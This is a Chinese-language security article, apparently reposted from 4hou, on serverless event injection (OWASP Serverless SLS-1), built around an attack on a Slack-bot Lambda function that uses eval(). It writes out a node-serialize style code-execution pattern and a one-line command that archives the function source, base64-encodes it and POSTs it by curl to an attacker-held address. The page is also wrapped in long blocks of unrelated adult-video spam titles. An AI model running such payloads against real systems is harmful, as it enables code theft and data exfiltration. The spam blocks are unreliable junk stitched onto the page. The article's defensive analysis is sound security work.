国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號(hào)

深入考察無服務(wù)器架構(gòu)的安全威脅,SLS-1:事件注入
2019-01-09   4hou

不久前,OWASP Serverless top 10項(xiàng)目剛剛啟動(dòng),以便為相關(guān)從業(yè)者和公司介紹最常見的無服務(wù)器應(yīng)用程序安全漏洞所帶來的安全隱患,并提供識(shí)別和防范這些漏洞的基本技術(shù)。其中,排名前十的項(xiàng)目將于2019年第二季度首次正式發(fā)布,而且,其排名將根據(jù)從實(shí)際行業(yè)中收集的數(shù)據(jù)進(jìn)行公開選拔。

即將發(fā)布的報(bào)告將通過在無服務(wù)器環(huán)境“演練”著名的OWASP Top 10 project來評(píng)估其風(fēng)險(xiǎn),解釋并演示在無服務(wù)器環(huán)境中,這些攻擊途徑、防御技術(shù)和業(yè)務(wù)影響會(huì)帶來哪些變化。

本文是我們的系列文章中的第一篇,本文不僅會(huì)為讀者介紹來自傳統(tǒng)的、單體(monolithic)世界中的已知風(fēng)險(xiǎn),同時(shí),還會(huì)為大家介紹我們將面臨的一些新的風(fēng)險(xiǎn)。需要說明的是,本文將通過攻擊者和防御者兩個(gè)角度來演示我們所面臨的新型攻擊技術(shù)。

這篇文章討論了可能是變化最大、也是最令人擔(dān)憂的一種攻擊技術(shù)——注入攻擊。

SQL注入、OS命令注入、代碼注入等攻擊手法,常常是黑客們的最愛,因?yàn)樗鼈兺ǔ?huì)無往不勝。但是,站在防御者這一邊,情況就大為不同了。這些攻擊方法總是被認(rèn)為是頭號(hào)風(fēng)險(xiǎn),并且通常會(huì)盡一切努力來防御它們。不過,雖然單體應(yīng)用程序的發(fā)展至少已經(jīng)有20個(gè)年頭了,我們?nèi)匀唤?jīng)常聽說其中又爆出巨大的安全漏洞,使得攻擊者能夠插入惡意代碼,隨之而來的,便是正式的致歉新聞稿,以及客戶在相關(guān)頁面上留下的幾十萬條的抱怨留言。由此看來,我們一直都沒有“學(xué)乖”。

實(shí)際上,在以前的環(huán)境中,防御注入攻擊要更容易一些。在采用無服務(wù)器架構(gòu)之前,注入攻擊基本上(現(xiàn)在仍然)都具有相同的攻擊套路。它們主要是應(yīng)用程序?qū)τ趤碜跃W(wǎng)絡(luò)的不可信來源的輸入內(nèi)容處理不當(dāng)所致。

現(xiàn)在,上面這句話只能說是部分正確,但在無服務(wù)器架構(gòu)中,“網(wǎng)絡(luò)”是一個(gè)更加復(fù)雜的術(shù)語。在無服務(wù)器架構(gòu)中,函數(shù)通常是通過事件觸發(fā)的,而事件幾乎可以是基礎(chǔ)設(shè)施提供的任何服務(wù),如云存儲(chǔ)、電子郵件或通知,等等。

這意味著編寫安全代碼時(shí),我們不能再依賴于在網(wǎng)絡(luò)邊界上實(shí)施的安全控制了。這是真的:我們無法在收到的電子郵件與其觸發(fā)的功能之間設(shè)置防火墻。對(duì)于我們的代碼來說,我們既無法知道其運(yùn)行當(dāng)下的情況,也不知道之前發(fā)生了什么,更不知道它將走向何方。也就是說,它們只是一堆代碼而已。如果函數(shù)的代碼容易受到某種類型的注入攻擊,在無服務(wù)器架構(gòu)的世界中,它通常被稱為事件注入漏洞。

好了,讓我們看看它到底是什么樣子吧。

現(xiàn)在,請(qǐng)考慮以下簡(jiǎn)單的無服務(wù)器架構(gòu)場(chǎng)景:

1.用戶與Slack聊天機(jī)器人頻道進(jìn)行交互

2.用戶消息被發(fā)送到Slack后端

3.Slack后端被配置為向公司API網(wǎng)關(guān)發(fā)送消息

4.該請(qǐng)求通過事件觸發(fā)一組Lambda函數(shù)

5.其中一個(gè)lambda函數(shù)用于將消息寫入動(dòng)態(tài)數(shù)據(jù)庫表

6.然后,向Slack后端發(fā)送自動(dòng)回復(fù)

7.這樣,就會(huì)把請(qǐng)求作為Slack機(jī)器人發(fā)布到指定的頻道上

在我們的示例中,事件注入攻擊是可能的,因?yàn)橥ㄟ^Slack事件觸發(fā)的Lambda函數(shù)容易受到代碼注入漏洞的影響。在AWS上,大多數(shù)函數(shù)都在運(yùn)行動(dòng)態(tài)語言(如Python或NodeJS語言),這可能導(dǎo)致運(yùn)行完全不同的代碼,而非原始代碼——RCE風(fēng)格的攻擊。

如您所見,上面的代碼(在野外經(jīng)常被發(fā)現(xiàn))使用了eval()函數(shù)來解析事件中的JSON數(shù)據(jù),我們都知道(我們真的知道嗎?),這本來是應(yīng)該極力避免的。然而,這僅僅是一個(gè)例子,任何含有其他類型安全漏洞的代碼都面臨著被攻擊的風(fēng)險(xiǎn)。

在驗(yàn)證漏洞(任何sleep或curl技術(shù)都可以)之后,攻擊者就可以著手攻擊這個(gè)無服務(wù)器環(huán)境了。當(dāng)然,環(huán)境中的大多數(shù)文件都不會(huì)引起攻擊者的興趣。因此,我們最終可以忘記/etc/passwd示例。實(shí)際上,這些文件屬于環(huán)境容器,并且大多數(shù)在應(yīng)用程序中沒有起到重要的作用。但是,它們還可以提供其他方面的線索。例如,通過訪問環(huán)境,攻擊者可以通過注入以下payload來竊取完整的函數(shù)代碼:

下面,我們來簡(jiǎn)單解釋一下。其中,_$$ND_FUNC$$_ 是將數(shù)據(jù)視為函數(shù)的代碼模式。由于函數(shù)運(yùn)行NodeJS語言的代碼,所以,我們可以使用require(“child_process”).exec() 來執(zhí)行新進(jìn)程。這允許攻擊者執(zhí)行在函數(shù)容器上運(yùn)行的任何進(jìn)程。這里不會(huì)深入講解AWS Lambda的內(nèi)部機(jī)制,我們只需要知道,當(dāng)啟動(dòng)NodeJS函數(shù)時(shí),可以在運(yùn)行目錄的容器上找到相應(yīng)的代碼。這意味著攻擊者可以直接將代碼壓縮到/tmp(環(huán)境中唯一的非只讀文件夾)下面,進(jìn)行base64編碼,并將其發(fā)送到自己有權(quán)訪問的地方,例如tar -pcvzf /tmp/source.tar.gz ./; b=`base64 –wrap=0 /tmp/source.tar.gz`; curl -X POST $l4 –data $b。

效果如何?

實(shí)際上,用不了一分鐘的時(shí)間,攻擊者就可以獲得完整的函數(shù)代碼:

通過觀察代碼,發(fā)現(xiàn)它好像是用來查看Slack請(qǐng)求的:

即使無法從代碼中讀取環(huán)境變量值,攻擊者也可以直接使用它們,因?yàn)樗鼈兪黔h(huán)境的組成部分。

最終,攻擊者可以通過注入代碼來修改原始機(jī)器人的行為。在下面的示例中,我們可以看到攻擊者是如何通過惡意payload修改機(jī)器人的化身,并打印原始的ICON_URL (很明顯,竊取BOT_TOKEN本身可能會(huì)導(dǎo)致部分接管Slack帳戶) 的:

當(dāng)然,攻擊者也可以注入使用提供程序API的代碼,例如AWS-SDK。這樣的話,將允許攻擊者與該帳戶下的其他資源進(jìn)行交互。例如,由于易受攻擊的函數(shù)會(huì)從某個(gè)DynamoDB表讀取數(shù)據(jù),因此,攻擊者可以使用DynamoDB.DocumentClient.scan()函數(shù)以及代碼中已有的表數(shù)據(jù),從同一個(gè)表中讀取信息,并利用Slack通道發(fā)送竊取的數(shù)據(jù):

但是,通過Slack攻擊無服務(wù)器函數(shù),只是針對(duì)應(yīng)用程序生命周期的新型攻擊途徑之一。此外,攻擊者還可以通過電子郵件(主題、附件或標(biāo)題)、MQTT發(fā)布/訂閱消息、云存儲(chǔ)事件(文件上傳/下載等)、隊(duì)列、日志、代碼提交或任何可以觸發(fā)我們代碼的其他事件來發(fā)動(dòng)這種攻擊。

當(dāng)然,這種攻擊的影響還是有所不同的。由于沒有服務(wù)器,因此,也就無法接管服務(wù)器了。但是,盡管在我們的示例中,攻擊者能夠讀取代碼、模擬函數(shù)、從數(shù)據(jù)庫中竊取數(shù)據(jù)并入侵該slack賬戶,但根據(jù)易受攻擊函數(shù)的權(quán)限的不同,在某些情況下,可能會(huì)導(dǎo)致云賬戶被完全接管(我們將在后續(xù)文章中加以介紹,敬請(qǐng)關(guān)注!)。如果該函數(shù)能夠訪問其他資源,那么,只需注入相應(yīng)的代碼即可。

那么,我們應(yīng)該如何防范這種攻擊呢?不是所有的事情都需要改變。大多數(shù)傳統(tǒng)的最佳實(shí)踐也適用于無服務(wù)器架構(gòu)環(huán)境。永遠(yuǎn)不要信任輸入或?qū)斎氲暮戏ㄐ宰龀鋈魏渭僭O(shè),使用安全的API,并嘗試以執(zhí)行任務(wù)所需的最低權(quán)限運(yùn)行代碼,以減少攻擊面。此外,開發(fā)人員還必須接受編寫安全代碼所需的相關(guān)培訓(xùn)——現(xiàn)實(shí)告訴我們,這是不可能的。

然而,作為人類,我們非常容易出錯(cuò)的。因此,我們必須找到一種自動(dòng)化的方法,來進(jìn)行預(yù)防。但是,如果沒有一個(gè)布防的邊界,我們?cè)撊绾问呛媚兀?/p>

我們認(rèn)為,無服務(wù)器架構(gòu)環(huán)境的防御控制機(jī)制,也應(yīng)該是基于無服務(wù)器架構(gòu)的。否則,我們會(huì)失去轉(zhuǎn)移到無服務(wù)器環(huán)境中的一切。一位智者曾經(jīng)說過,就像我們不能用劍來保護(hù)我們的宇宙飛船一樣,我們也不能用舊技術(shù)來保護(hù)新技術(shù)。無服務(wù)器架構(gòu)的防御機(jī)制應(yīng)該是短暫的,它將與其保護(hù)的代碼一起生死存亡。

此外,還有其他方面的一些因素,使得無服務(wù)器架構(gòu)下的注入攻擊不同于傳統(tǒng)的注入攻擊。我們已經(jīng)討論過一些,比如不同類型的輸入源、大多數(shù)動(dòng)態(tài)語言以及環(huán)境中的相關(guān)(和無關(guān))文件。同時(shí),還有其他方面的區(qū)別。例如,無服務(wù)器函數(shù)的生存時(shí)間通常只有幾秒到幾分鐘。在這樣的環(huán)境中,攻擊該如何實(shí)現(xiàn)持續(xù)化呢?正常的攻擊肯定會(huì)持續(xù)到函數(shù)失效,攻擊者可能不得不重復(fù)發(fā)動(dòng)攻擊,這會(huì)導(dǎo)致被發(fā)現(xiàn)的概率增大。然而,該攻擊還有其他實(shí)現(xiàn)持久化的方式。一種方法是直接維持容器的“體溫”,這意味著攻擊者每隔幾分鐘就會(huì)觸發(fā)一次事件,以確保容器繼續(xù)運(yùn)行。另一種方法是注入payload來修改函數(shù)的源代碼,這些將在后面的文章中詳解介紹。這種方法將導(dǎo)致所有新容器都將與惡意代碼一起運(yùn)行,從而導(dǎo)致環(huán)境被攻擊者長(zhǎng)期占據(jù)。

熱詞搜索:無服務(wù)器 安全威脅

上一篇:解密NFV:互操作性和API之間不得不說的關(guān)系
下一篇:態(tài)勢(shì)感知——服務(wù)器安全策略探索

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
日韩avvvv在线播放| 亚洲精品一二三| 亚洲人吸女人奶水| 成人激情电影免费在线观看| 国产精品沙发午睡系列990531| 国产精品99久久久| 国产精品美女一区二区在线观看| 成人午夜视频网站| 亚洲一区二区三区视频在线播放| 欧美日韩精品电影| 激情文学综合网| 中文欧美字幕免费| 在线免费精品视频| 久久99精品久久久久久国产越南| 国产亚洲一区二区三区四区 | 欧美激情综合五月色丁香| 99re热这里只有精品视频| 亚洲电影视频在线| 日本一区二区综合亚洲| 色婷婷久久久亚洲一区二区三区| 亚洲电影第三页| 欧美国产日本韩| 911国产精品| 99re这里只有精品首页| 麻豆国产91在线播放| 中文字幕日韩精品一区| 91精品国产全国免费观看| 成人在线视频一区二区| 天天av天天翘天天综合网色鬼国产| 久久久99免费| 欧美美女一区二区三区| av电影在线观看完整版一区二区| 日韩制服丝袜av| 亚洲欧美激情插| 国产欧美日韩综合| 精品国产乱码久久久久久免费| 欧美亚洲综合网| 92精品国产成人观看免费| 国产在线精品一区二区三区不卡| 亚洲午夜在线电影| 亚洲人123区| 国产日韩av一区| 日韩视频国产视频| 欧美精品一二三| 91在线观看视频| 成人午夜在线视频| 国产成人免费在线观看| 久久国产成人午夜av影院| 视频一区中文字幕国产| 亚洲激情男女视频| 中文字幕一区二区三| 亚洲国产精品高清| 欧美韩国日本不卡| 337p粉嫩大胆色噜噜噜噜亚洲 | 欧美一区二区三区免费在线看| 色综合久久久网| 色拍拍在线精品视频8848| 色综合久久综合中文综合网| 99久精品国产| 91女神在线视频| 欧美日韩三级在线| 一本久道久久综合中文字幕 | 国产精品中文字幕日韩精品| 国产在线视频不卡二| 国产一区二区在线免费观看| 精品亚洲免费视频| 国产精品一区二区三区乱码| 高清免费成人av| 91亚洲午夜精品久久久久久| 91免费观看在线| 欧美在线看片a免费观看| 欧美日韩免费一区二区三区视频| 7777精品久久久大香线蕉| 欧美电视剧在线观看完整版| 2017欧美狠狠色| 亚洲色图20p| 三级一区在线视频先锋| 国产一区二区三区在线看麻豆| 东方欧美亚洲色图在线| 一本色道综合亚洲| 6080日韩午夜伦伦午夜伦| 26uuu精品一区二区三区四区在线| 欧美国产一区在线| 日韩国产欧美一区二区三区| av动漫一区二区| 欧美三日本三级三级在线播放| 欧美一区二区三区喷汁尤物| 国产精品天美传媒| 视频一区欧美日韩| 99久久综合国产精品| 欧美一区二区三区影视| 国产精品毛片a∨一区二区三区| 亚洲国产欧美一区二区三区丁香婷| 美国毛片一区二区三区| 91在线免费视频观看| 欧美一区二区网站| 亚洲色图色小说| 国产一区二区在线电影| 精品视频免费在线| 欧美激情一区二区三区不卡| 欧美aaa在线| 色综合色综合色综合色综合色综合| 欧美xfplay| 夜夜揉揉日日人人青青一国产精品 | av不卡免费在线观看| 666欧美在线视频| 亚洲色图.com| 国产精品资源网站| 欧美日本在线播放| 亚洲视频免费看| 国产黄色成人av| 欧美成人a∨高清免费观看| 亚洲精品久久久久久国产精华液| 韩国一区二区视频| 欧美一级爆毛片| 亚洲福中文字幕伊人影院| av成人动漫在线观看| av资源网一区| 欧美成人福利视频| 美女视频一区二区| 欧美美女bb生活片| 亚洲欧美日韩国产手机在线 | 日本电影亚洲天堂一区| 国产欧美一区二区精品仙草咪| 国产精品成人一区二区三区夜夜夜| 亚洲va在线va天堂| 在线欧美小视频| 亚洲乱码国产乱码精品精的特点 | 成人国产免费视频| 久久女同性恋中文字幕| 青青国产91久久久久久| av亚洲精华国产精华精| 国产精品国产三级国产普通话三级 | av一区二区不卡| 久久久99精品免费观看不卡| 日韩成人免费看| 欧美日韩一区二区不卡| 亚洲欧美日韩小说| 一本一本久久a久久精品综合麻豆 一本一道波多野结衣一区二区 | 亚洲第一av色| 色综合久久久久久久久久久| 国产日韩av一区| 国产高清精品久久久久| 精品国产电影一区二区| 看国产成人h片视频| 欧美日韩亚州综合| 亚洲福利一区二区| 日韩欧美在线观看一区二区三区| 午夜精品福利久久久| 欧美顶级少妇做爰| 日韩精品91亚洲二区在线观看| 色婷婷亚洲一区二区三区| 亚洲国产精品二十页| 波多野结衣的一区二区三区| 国产精品国产自产拍在线| 91免费国产视频网站| 国产精品家庭影院| 欧美撒尿777hd撒尿| 日韩在线观看一区二区| 日韩欧美专区在线| 成人美女视频在线观看18| 国产精品二三区| 欧美唯美清纯偷拍| 美国十次综合导航| 国产精品天干天干在观线| 91网站黄www| 亚洲bt欧美bt精品| 69堂成人精品免费视频| 寂寞少妇一区二区三区| 亚洲欧洲99久久| 在线播放中文一区| 精品一区二区三区蜜桃| 国产精品蜜臀av| 精品日本一线二线三线不卡| 黄色小说综合网站| 亚洲欧美日韩国产一区二区三区| 在线成人av影院| 国产精品一级二级三级| 国产精品视频yy9299一区| 欧美日本一区二区三区四区| 激情综合网激情| 一区二区三区四区视频精品免费| 欧美性猛片aaaaaaa做受| 精品亚洲成a人在线观看| 亚洲免费观看高清完整版在线观看| 欧美日韩不卡一区二区| 99re热这里只有精品免费视频| 黄页网站大全一区二区| 亚洲国产精品久久久男人的天堂 | 亚洲综合在线视频| 欧美激情自拍偷拍| 欧美午夜在线观看| 成人av在线播放网站| 日韩av午夜在线观看| 亚洲免费观看高清完整| 日本一区二区视频在线观看| 678五月天丁香亚洲综合网| eeuss影院一区二区三区| 美女网站色91| 图片区小说区区亚洲影院|